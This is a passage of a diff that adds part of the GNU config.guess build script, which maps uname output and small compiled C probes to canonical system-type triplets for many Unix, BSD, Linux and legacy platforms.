+ *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*)
+ echo m68k-unknown-mint${UNAME_RELEASE}
+ exit 0 ;;
+ sun3*:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ mac68k:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ mvme68k:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ mvme88k:OpenBSD:*:*)
+ echo m88k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ powerpc:machten:*:*)
+ echo powerpc-apple-machten${UNAME_RELEASE}
+ exit 0 ;;
+ RISC*:Mach:*:*)
+ echo mips-dec-mach_bsd4.3
+ exit 0 ;;
+ RISC*:ULTRIX:*:*)
+ echo mips-dec-ultrix${UNAME_RELEASE}
+ exit 0 ;;
+ VAX*:ULTRIX*:*:*)
+ echo vax-dec-ultrix${UNAME_RELEASE}
+ exit 0 ;;
+ 2020:CLIX:*:* | 2430:CLIX:*:*)
+ echo clipper-intergraph-clix${UNAME_RELEASE}
+ exit 0 ;;
+ mips:*:*:UMIPS | mips:*:*:RISCos)
+ sed 's/^ //' << EOF >$dummy.c
+#ifdef __cplusplus
+#include <stdio.h> /* for printf() prototype */
+ int main (int argc, char *argv[]) {
+#else
+ int main (argc, argv) int argc; char *argv[]; {
+#endif
+ #if defined (host_mips) && defined (MIPSEB)
+ #if defined (SYSTYPE_SYSV)
+ printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0);
+ #endif
+ #if defined (SYSTYPE_SVR4)
+ printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0);
+ #endif
+ #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD)
+ printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0);
+ #endif
+ #endif
+ exit (-1);
+ }
+EOF
+ eval $set_cc_for_build
+ $CC_FOR_BUILD $dummy.c -o $dummy \
+ && ./$dummy `echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` \
+ && rm -f $dummy.c $dummy && exit 0
+ rm -f $dummy.c $dummy
+ echo mips-mips-riscos${UNAME_RELEASE}
+ exit 0 ;;
+ Motorola:PowerMAX_OS:*:*)
+ echo powerpc-motorola-powermax
+ exit 0 ;;
+ Night_Hawk:Power_UNIX:*:*)
+ echo powerpc-harris-powerunix
+ exit 0 ;;
+ m88k:CX/UX:7*:*)
+ echo m88k-harris-cxux7
+ exit 0 ;;
+ m88k:*:4*:R4*)
+ echo m88k-motorola-sysv4
+ exit 0 ;;
+ m88k:*:3*:R3*)
+ echo m88k-motorola-sysv3
+ exit 0 ;;
+ AViiON:dgux:*:*)
+ # DG/UX returns AViiON for all architectures
+ UNAME_PROCESSOR=`/usr/bin/uname -p`
+ if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ]
+ then
+ if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \
+ [ ${TARGET_BINARY_INTERFACE}x = x ]
+ then
+ echo m88k-dg-dgux${UNAME_RELEASE}
+ else
+ echo m88k-dg-dguxbcs${UNAME_RELEASE}
+ fi
+ else
+ echo i586-dg-dgux${UNAME_RELEASE}
+ fi
+ exit 0 ;;
+ M88*:DolphinOS:*:*) # DolphinOS (SVR3)
+ echo m88k-dolphin-sysv3
+ exit 0 ;;
+ M88*:*:R3*:*)
+ # Delta 88k system running SVR3
+ echo m88k-motorola-sysv3
+ exit 0 ;;
+ XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3)
+ echo m88k-tektronix-sysv3
+ exit 0 ;;
+ Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD)
+ echo m68k-tektronix-bsd
+ exit 0 ;;
+ *:IRIX*:*:*)
+ echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'`
+ exit 0 ;;
+ ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX.
+ echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id
+ exit 0 ;; # Note that: echo "'`uname -s`'" gives 'AIX '
+ i*86:AIX:*:*)
+ echo i386-ibm-aix
+ exit 0 ;;
+ ia64:AIX:*:*)
+ if [ -x /usr/bin/oslevel ] ; then
+ IBM_REV=`/usr/bin/oslevel`
+ else
+ IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
+ fi
+ echo ${UNAME_MACHINE}-ibm-aix${IBM_REV}
+ exit 0 ;;
+ *:AIX:2:3)
+ if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then
+ sed 's/^ //' << EOF >$dummy.c
+ #include <sys/systemcfg.h>
+
+ main()
+ {
+ if (!__power_pc())
+ exit(1);
+ puts("powerpc-ibm-aix3.2.5");
+ exit(0);
+ }
+EOF
+ eval $set_cc_for_build
+ $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
+ rm -f $dummy.c $dummy
+ echo rs6000-ibm-aix3.2.5
+ elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then
+ echo rs6000-ibm-aix3.2.4
+ else
+ echo rs6000-ibm-aix3.2
+ fi
+ exit 0 ;;
+ *:AIX:*:[45])
+ IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | head -1 | awk '{ print $1 }'`
+ if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then
+ IBM_ARCH=rs6000
+ else
+ IBM_ARCH=powerpc
+ fi
+ if [ -x /usr/bin/oslevel ] ; then
+ IBM_REV=`/usr/bin/oslevel`
+ else
+ IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE}
+ fi
+ echo ${IBM_ARCH}-ibm-aix${IBM_REV}
+ exit 0 ;;
+ *:AIX:*:*)
+ echo rs6000-ibm-aix
+ exit 0 ;;
+ ibmrt:4.4BSD:*|romp-ibm:BSD:*)
+ echo romp-ibm-bsd4.4
+ exit 0 ;;
+ ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and
+ echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to
+ exit 0 ;; # report: romp-ibm BSD 4.3
+ *:BOSX:*:*)
+ echo rs6000-bull-bosx
+ exit 0 ;;
+ DPX/2?00:B.O.S.:*:*)
+ echo m68k-bull-sysv3
+ exit 0 ;;
+ 9000/[34]??:4.3bsd:1.*:*)
+ echo m68k-hp-bsd
+ exit 0 ;;
+ hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*)
+ echo m68k-hp-bsd4.4
+ exit 0 ;;
+ 9000/[34678]??:HP-UX:*:*)
+ HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
+ case "${UNAME_MACHINE}" in
+ 9000/31? ) HP_ARCH=m68000 ;;
+ 9000/[34]?? ) HP_ARCH=m68k ;;
+ 9000/[678][0-9][0-9])
+ case "${HPUX_REV}" in
+ 11.[0-9][0-9])
+ if [ -x /usr/bin/getconf ]; then
+ sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null`
+ sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null`
+ case "${sc_cpu_version}" in
+ 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0
+ 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1
+ 532) # CPU_PA_RISC2_0
+ case "${sc_kernel_bits}" in
+ 32) HP_ARCH="hppa2.0n" ;;
+ 64) HP_ARCH="hppa2.0w" ;;
+ esac ;;
+ esac
+ fi ;;
+ esac
+ if [ "${HP_ARCH}" = "" ]; then
+ sed 's/^ //' << EOF >$dummy.c
+
+ #define _HPUX_SOURCE
+ #include <stdlib.h>
+ #include <unistd.h>
+
+ int main ()
+ {
+ #if defined(_SC_KERNEL_BITS)
+ long bits = sysconf(_SC_KERNEL_BITS);
+ #endif
+ long cpu = sysconf (_SC_CPU_VERSION);
+
+ switch (cpu)
+ {
+ case CPU_PA_RISC1_0: puts ("hppa1.0"); break;
+ case CPU_PA_RISC1_1: puts ("hppa1.1"); break;
+ case CPU_PA_RISC2_0:
+ #if defined(_SC_KERNEL_BITS)
+ switch (bits)
+ {
+ case 64: puts ("hppa2.0w"); break;
+ case 32: puts ("hppa2.0n"); break;
+ default: puts ("hppa2.0"); break;
+ } break;
+ #else /* !defined(_SC_KERNEL_BITS) */
+ puts ("hppa2.0"); break;
+ #endif
+ default: puts ("hppa1.0"); break;
+ }
+ exit (0);
+ }
+EOF
+ eval $set_cc_for_build
+ (CCOPTS= $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null ) && HP_ARCH=`./$dummy`
+ if test -z "$HP_ARCH"; then HP_ARCH=hppa; fi
+ rm -f $dummy.c $dummy
+ fi ;;
+ esac
+ echo ${HP_ARCH}-hp-hpux${HPUX_REV}
+ exit 0 ;;
+ ia64:HP-UX:*:*)
+ HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'`
+ echo ia64-hp-hpux${HPUX_REV}
+ exit 0 ;;
+ 3050*:HI-UX:*:*)
+ sed 's/^ //' << EOF >$dummy.c
+ #include <unistd.h>
+ int
+ main ()
+ {
+ long cpu = sysconf (_SC_CPU_VERSION);
+ /* The order matters, because CPU_IS_HP_MC68K erroneously returns
+ true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct
+ results, however. */
+ if (CPU_IS_PA_RISC (cpu))
+ {
+ switch (cpu)
+ {
+ case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break;
+ case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break;
+ case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break;
+ default: puts ("hppa-hitachi-hiuxwe2"); break;
+ }
+ }
+ else if (CPU_IS_HP_MC68K (cpu))
+ puts ("m68k-hitachi-hiuxwe2");
+ else puts ("unknown-hitachi-hiuxwe2");
+ exit (0);
+ }
+EOF
+ eval $set_cc_for_build
+ $CC_FOR_BUILD $dummy.c -o $dummy && ./$dummy && rm -f $dummy.c $dummy && exit 0
+ rm -f $dummy.c $dummy
+ echo unknown-hitachi-hiuxwe2
+ exit 0 ;;
+ 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* )
+ echo hppa1.1-hp-bsd
+ exit 0 ;;
+ 9000/8??:4.3bsd:*:*)
+ echo hppa1.0-hp-bsd
+ exit 0 ;;
+ *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*)
+ echo hppa1.0-hp-mpeix
+ exit 0 ;;
+ hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* )
+ echo hppa1.1-hp-osf
+ exit 0 ;;
+ hp8??:OSF1:*:*)
+ echo hppa1.0-hp-osf
+ exit 0 ;;
+ i*86:OSF1:*:*)
+ if [ -x /usr/sbin/sysversion ] ; then
+ echo ${UNAME_MACHINE}-unknown-osf1mk
+ else
+ echo ${UNAME_MACHINE}-unknown-osf1
+ fi
+ exit 0 ;;
+ parisc*:Lites*:*:*)
+ echo hppa1.1-hp-lites
+ exit 0 ;;
+ hppa*:OpenBSD:*:*)
+ echo hppa-unknown-openbsd
+ exit 0 ;;
+ C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*)
+ echo c1-convex-bsd
+ exit 0 ;;
+ C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*)
+ if getsysinfo -f scalar_acc
+ then echo c32-convex-bsd
+ else echo c2-convex-bsd
+ fi
+ exit 0 ;;
+ C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*)
+ echo c34-convex-bsd
+ exit 0 ;;
+ C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*)
+ echo c38-convex-bsd
+ exit 0 ;;
+ C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*)
+ echo c4-convex-bsd
+ exit 0 ;;
+ CRAY*X-MP:*:*:*)
+ echo xmp-cray-unicos
+ exit 0 ;;
+ CRAY*Y-MP:*:*:*)
+ echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY*[A-Z]90:*:*:*)
+ echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \
+ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \
+ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \
+ -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY*TS:*:*:*)
+ echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY*T3D:*:*:*)
+ echo alpha-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY*T3E:*:*:*)
+ echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY*SV1:*:*:*)
+ echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/'
+ exit 0 ;;
+ CRAY-2:*:*:*)
+ echo cray2-cray-unicos
+ exit 0 ;;
+ F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*)
+ FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'`
+ FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'`
+ FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'`
+ echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}"
+ exit 0 ;;
+ hp300:OpenBSD:*:*)
+ echo m68k-unknown-openbsd${UNAME_RELEASE}
+ exit 0 ;;
+ i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*)
+ echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE}
+ exit 0 ;;
+ sparc*:BSD/OS:*:*)
+ echo sparc-unknown-bsdi${UNAME_RELEASE}
+ exit 0 ;;
+ *:BSD/OS:*:*)
+ echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE}
+ exit 0 ;;
+ *:FreeBSD:*:*)
+ echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`
+ exit 0 ;;
+ *:OpenBSD:*:*)
+ echo ${UNAME_MACHINE}-unknown-openbsd`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'`
+ exit 0 ;;
+ i*:CYGWIN*:*)
+ echo ${UNAME_MACHINE}-pc-cygwin
+ exit 0 ;;
+ i*:MINGW*:*)
+ echo ${UNAME_MACHINE}-pc-mingw32
+ exit 0 ;;
+ i*:PW*:*)
+ echo ${UNAME_MACHINE}-pc-pw32
+ exit 0 ;;
+ i*:Windows_NT*:* | Pentium*:Windows_NT*:*)
+ # How do we know it's Interix rather than the generic POSIX subsystem?
+ # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we
+ # UNAME_MACHINE based on the output of uname instead of i386?
+ echo i386-pc-interix
+ exit 0 ;;
+ i*:UWIN*:*)
+ echo ${UNAME_MACHINE}-pc-uwin
+ exit 0 ;;
+ p*:CYGWIN*:*)
+ echo powerpcle-unknown-cygwin
+ exit 0 ;;
+ prep*:SunOS:5.*:*)
+ echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'`
+ exit 0 ;;
+ *:GNU:*:*)
+ echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'`
+ exit 0 ;;
+ i*86:Minix:*:*)
+ echo ${UNAME_MACHINE}-pc-minix
+ exit 0 ;;
+ arm*:Linux:*:*)
+ echo ${UNAME_MACHINE}-unknown-linux-gnu
+ exit 0 ;;
+ ia64:Linux:*:*)
+ echo ${UNAME_MACHINE}-unknown-linux
+ exit 0 ;;
+ m68*:Linux:*:*)
+ echo ${UNAME_MACHINE}-unknown-linux-gnu
+ exit 0 ;;
+ mips:Linux:*:*)
+ case `sed -n '/^byte/s/^.*: \(.*\) endian/\1/p' < /proc/cpuinfo` in
+ big) echo mips-unknown-linux-gnu && exit 0 ;;
+ little) echo mipsel-unknown-linux-gnu && exit 0 ;;
+ esac
+ ;;
+ ppc:Linux:*:*)
+ echo powerpc-unknown-linux-gnu
+ exit 0 ;;
+ ppc64:Linux:*:*)
+ echo powerpc64-unknown-linux-gnu
+ exit 0 ;;
+ alpha:Linux:*:*)
+ case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in
+ EV5) UNAME_MACHINE=alphaev5 ;;
+ EV56) UNAME_MACHINE=alphaev56 ;;
+ PCA56) UNAME_MACHINE=alphapca56 ;;
+ PCA57) UNAME_MACHINE=alphapca56 ;;
+ EV6) UNAME_MACHINE=alphaev6 ;;
+ EV67) UNAME_MACHINE=alphaev67 ;;
+ EV68*) UNAME_MACHINE=alphaev68 ;;
+ esac
+ objdump --private-headers /bin/sh | grep ld.so.1 >/dev/null
+ if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi
+ echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC}
+ exit 0 ;;
+ parisc:Linux:*:* | hppa:Linux:*:*)
+ # Look for CPU level
+ case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in
+ PA7*) echo hppa1.1-unknown-linux-gnu ;;
+ PA8*) echo hppa2.0-unknown-linux-gnu ;;
+ *) echo hppa-unknown-linux-gnu ;;
+ esac
+ exit 0 ;;
+ parisc64:Linux:*:* | hppa64:Linux:*:*)
+ echo hppa64-unknown-linux-gnu
+ exit 0 ;;
+ s390:Linux:*:* | s390x:Linux:*:*)
+ echo ${UNAME_MACHINE}-ibm-linux
+ exit 0 ;;
+ sh*:Linux:*:*)
+ echo ${UNAME_MACHINE}-unknown-linux-gnu
+ exit 0 ;;
+ sparc:Linux:*:* | sparc64:Linux:*:*)
+ echo ${UNAME_MACHINE}-unknown-linux-gnu
+ exit 0 ;;
+ x86_64:Linux:*:*)
+ echo x86_64-unknown-linux-gnu
+ exit 0 ;;
+ i*86:Linux:*:*)
+ # The BFD linker knows what the default object file format is, so
+ # first see if it will tell us. cd to the root directory to prevent
+ # problems with other programs or directories called `ld' in the path.
+ ld_supported_targets=`cd /; ld --help 2>&1 \
+ | sed -ne '/supported targets:/!d
+ s/[ ][ ]*/ /g
+ s/.*supported targets: *//
+ s/ .*//
+ p'`
+ case "$ld_supported_targets" in
+ elf32-i386)
+ TENTATIVE="${UNAME_MACHINE}-pc-linux-gnu"
+ ;;
+ a.out-i386-linux)
+ echo "${UNAME_MACHINE}-pc-linux-gnuaout"
+ exit 0 ;;
+ coff-i386)
+ echo "${UNAME_MACHINE}-pc-linux-gnucoff"
+ exit 0 ;;
+ "")
+ # Either a pre-BFD a.out linker (linux-gnuoldld) or
+ # one that does not give us useful --help.
+ echo "${UNAME_MACHINE}-pc-linux-gnuoldld"
+ exit 0 ;;
+ esac
+ # Determine whether the default compiler is a.out or elf
+ cat >$dummy.c <<EOF
+#include <features.h>
+#ifdef __cplusplus
+#include <stdio.h> /* for printf() prototype */
+ int main (int argc, char *argv[]) {
+#else
+ int main (argc, argv) int argc; char *argv[]; {
+#endif
+#ifdef __ELF__
+# ifdef __GLIBC__
+# if __GLIBC__ >= 2
+ printf ("%s-pc-linux-gnu\n", argv[1]);
+# else
+ printf ("%s-pc-linux-gnulibc1\n", argv[1]);
+# endif
+# else
+ printf ("%s-pc-linux-gnulibc1\n", argv[1]);
+# endif
+#else
+ printf ("%s-pc-linux-gnuaout\n", argv[1]);
+#endif
+ return 0;
+}
+EOF
+ eval $set_cc_for_build
+ $CC_FOR_BUILD $dummy.c -o $dummy 2>/dev/null && ./$dummy "${UNAME_MACHINE}" && rm -f $dummy.c $dummy && exit 0
+ rm -f $dummy.c $dummy
+ test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0
+ ;;
+ i*86:DYNIX/ptx:4*:*)
+ # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there.
+ # earlier versions are messed up and put the nodename in both
+ # sysname and nodename.
+ echo i386-sequent-sysv4
+ exit 0 ;;
+ i*86:UNIX_SV:4.2MP:2.*)
+ # Unixware is an offshoot of SVR4, but it has its own version
+ # number series starting with 2...
+ # I am not positive that other SVR4 systems won't match this,
+ # I just have to hope. -- rms.
+ # Use sysv4.2uw... so that sysv4* matches it.
+ echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION}
+ exit 0 ;;
+ i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*)
+ UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'`
+ if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then
+ echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL}
+ else
+ echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL}
+ fi
+ exit 0 ;;
+ i*86:*:5:[78]*)
+ case `/bin/uname -X | grep "^Machine"` in
+ *486*) UNAME_MACHINE=i486 ;;
+ *Pentium) UNAME_MACHINE=i586 ;;
+ *Pent*|*Celeron) UNAME_MACHINE=i686 ;;
+ esac
+ echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}
+ exit 0 ;;
+ i*86:*:3.2:*)
+ if test -f /usr/options/cb.name; then
+ UNAME_REL=`sed -n 's/.*Version //p' </usr/options/cb.name`
+ echo ${UNAME_MACHINE}-pc-isc$UNAME_REL
+ elif /bin/uname -X 2>/dev/null >/dev/null ; then
+ UNAME_REL=`(/bin/uname -X|egrep Release|sed -e 's/.*= //')`
+ (/bin/uname -X|egrep i80486 >/dev/null) && UNAME_MACHINE=i486
+ (/bin/uname -X|egrep '^Machine.*Pentium' >/dev/null) \
+ && UNAME_MACHINE=i586
+ (/bin/uname -X|egrep '^Machine.*Pent ?II' >/dev/null) \
+ && UNAME_MACHINE=i686
+ (/bin/uname -X|egrep '^Machine.*Pentium Pro' >/dev/null) \
+ && UNAME_MACHINE=i686
+ echo ${UNAME_MACHINE}-pc-sco$UNAME_REL
+ else
+ echo ${UNAME_MACHINE}-pc-sysv32
+ fi
+ exit 0 ;;
+ i*86:*DOS:*:*)
+ echo ${UNAME_MACHINE}-pc-msdosdjgpp
+ exit 0 ;;
+ pc:*:*:*)
+ # Left here for compatibility:
+ # uname -m prints for DJGPP always 'pc', but it prints nothing about
+ # the processor, so we play safe by assuming i386.
+ echo i386-pc-msdosdjgpp
+ exit 0 ;;
+ Intel:Mach:3*:*)
+ echo i386-pc-mach3
+ exit 0 ;;
+ paragon:*:*:*)
+ echo i860-intel-osf1
+ exit 0 ;;
+ i860:*:4.*:*) # i860-SVR4
+ if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then
+ echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4
+ else # Add other i860-SVR4 vendors below as they are discovered.
+ echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4
+ fi
+ exit 0 ;;
+ mini*:CTIX:SYS*5:*)
+ # "miniframe"
+ echo m68010-convergent-sysv
+ exit 0 ;;
+ M68*:*:R3V[567]*:*)
+ test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;;
+ 3[34]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 4850:*:4.0:3.0)
+ OS_REL=''
+ test -r /etc/.relid \
+ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid`
+ /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
+ && echo i486-ncr-sysv4.3${OS_REL} && exit 0
+ /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \
+ && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;;
+ 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*)
+ /bin/uname -p 2>/dev/null | grep 86 >/dev/null \
+ && echo i486-ncr-sysv4 && exit 0 ;;
+ m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*)
+ echo m68k-unknown-lynxos${UNAME_RELEASE}
+ exit 0 ;;
+ mc68030:UNIX_System_V:4.*:*)
+ echo m68k-atari-sysv4
+ exit 0 ;;
+ i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*)
+ echo i386-unknown-lynxos${UNAME_RELEASE}
+ exit 0 ;;
+ TSUNAMI:LynxOS:2.*:*)
+ echo sparc-unknown-lynxos${UNAME_RELEASE}
+ exit 0 ;;
+ rs6000:LynxOS:2.*:*)
+ echo rs6000-unknown-lynxos${UNAME_RELEASE}
+ exit 0 ;;
+ PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*)
+ echo powerpc-unknown-lynxos${UNAME_RELEASE}
+ exit 0 ;;
+ SM[BE]S:UNIX_SV:*:*)
+ echo mips-dde-sysv${UNAME_RELEASE}
+ exit 0 ;;
+ RM*:ReliantUNIX-*:*:*)
+ echo mips-sni-sysv4
+ exit 0 ;;
+ RM*:SINIX-*:*:*)
+ echo mips-sni-sysv4
+ exit 0 ;;
+ *:SINIX-*:*:*)
+ if uname -p 2>/dev/null >/dev/null ; then
+ UNAME_MACHINE=`(uname -p) 2>/dev/null`
+ echo ${UNAME_MACHINE}-sni-sysv4
+ else
+ echo ns32k-sni-sysv
+ fi
+ exit 0 ;;
+ PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort
+ # says <Richard.M.Bartel@ccMail.Census.GOV>
+ echo i586-unisys-sysv4
+ exit 0 ;;
+ *:UNIX_System_V:4*:FTX*)
+ # From Gerald Hewes <hewes@openmarket.com>.
+ # How about differentiating between stratus architectures? -djm
+ echo hppa1.1-stratus-sysv4
+ exit 0 ;;
+ *:*:*:FTX*)
+ # From seanf@swdc.stratus.com.
+ echo i860-stratus-sysv4
+ exit 0 ;;
+ *:VOS:*:*)
+ # From Paul.Green@stratus.com.
+ echo hppa1.1-stratus-vos
+ exit 0 ;;
+ mc68*:A/UX:*:*)
+ echo m68k-apple-aux${UNAME_RELEASE}
+ exit 0 ;;
+ news*:NEWS-OS:6*:*)
+ echo mips-sony-newsos6
+ exit 0 ;;
+ R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*)
+ if [ -d /usr/nec ]; then
+ echo mips-nec-sysv${UNAME_RELEASE}
+ else
+ echo mips-unknown-sysv${UNAME_RELEASE}
+ fi
+ exit 0 ;;
+ BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only.
+ echo powerpc-be-beos
+ exit 0 ;;
+ BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only.
+ echo powerpc-apple-beos
+ exit 0 ;;
+ BePC:BeOS:*:*) # BeOS running on Intel PC compatible.
+ echo i586-pc-beos
+ exit 0 ;;
+ SX-4:SUPER-UX:*:*)
+ echo sx4-nec-superux${UNAME_RELEASE}
+ exit 0 ;;
+ SX-5:SUPER-UX:*:*)
+ echo sx5-nec-superux${UNAME_RELEASE}
+ exit 0 ;;
+ Power*:Rhapsody:*:*)
+ echo powerpc-apple-rhapsody${UNAME_RELEASE}
+ exit 0 ;;
+ *:Rhapsody:*:*)
+ echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE}
+ exit 0 ;;
+ *:Darwin:*:*)
+ echo `uname -p`-apple-darwin${UNAME_RELEASE}
+ exit 0 ;;
+ *:procnto*:*:* | *:QNX:[0123456789]*:*)
+ if test "${UNAME_MACHINE}" = "x86pc"; then
+ UNAME_MACHINE=pc
+ fi
+ echo `uname -p`-${UNAME_MACHINE}-nto-qnx
+ exit 0 ;;
+ *:QNX:*:4*)
+ echo i386-pc-qnx
+ exit 0 ;;
+ NSR-[KW]:NONSTOP_KERNEL:*:*)
+ echo nsr-tandem-nsk${UNAME_RELEASE}
+ exit 0 ;;
+ *:NonStop-UX:*:*)
+ echo mips-compaq-nonstopux
+ exit 0 ;;
+ BS2000:POSIX*:*:*)
+ echo bs2000-siemens-sysv
+ exit 0 ;;
+ DS/*:UNIX_System_V:*:*)
+ echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE}
+ exit 0 ;;
+ *:Plan9:*:*)
+ # "uname -m" is not consistent, so use $cputype instead. 386
+ # is converted to i386 for consistency with other x86
+ # operating systems.
+ if test "$cputype" = "386"; then
+ UNAME_MACHINE=i386
+ else
+ UNAME_MACHINE="$cputype"
+ fi
+ echo ${UNAME_MACHINE}-unknown-plan9
+ exit 0 ;;
+ i*86:OS/2:*:*)
+ # If we were able to find `uname', then EMX Unix compatibility
+ # is probably installed.
+ echo ${UNAME_MACHINE}-pc-os2-emx
+ exit 0 ;;
+ *:TOPS-10:*:*)
+ echo pdp10-unknown-tops10
+ exit 0 ;;
+ *:TENEX:*:*)
+ echo pdp10-unknown-tenex
+ exit 0 ;;
+ KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*)
+ echo pdp10-dec-tops20
+ exit 0 ;;
